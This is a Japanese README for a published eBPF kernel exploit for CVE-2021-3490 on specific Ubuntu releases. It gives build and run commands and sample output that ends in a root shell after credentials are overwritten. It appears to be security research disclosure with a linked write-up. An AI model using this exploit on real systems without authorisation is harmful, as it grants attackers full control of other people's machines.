
CVE-2021-3490 のローカル特権昇格エクスプロイト。Ubuntu 20.04.02 および 20.10 (Groovy Gorilla) のカーネル 5.8.0-25.26 から 5.8.0-52.58 でテスト済み。 また、Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17 でもテスト済み。 この脆弱性は Manfred Paul @_manfp によって発見され、この コミット で修正されました。
作者: @chompie1337
教育/研究目的のみに使用してください。使用は自己責任でお願いします。
Ubuntu 20.04.02 および Ubuntu 20.10 (Groovy Gorilla) 向けにビルドする場合:
make groovy
Ubuntu 21.04 (Hirsute Hippo) 向けにビルドする場合:
make hirsute
実行方法:
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
注意: root シェルを exit と入力して正常に終了しなければなりません。これによりクリーンアップが行われ、カーネルパニックを回避できます。
解説記事はこちらをご覧ください: Kernel Pwning with eBPF: a Love Story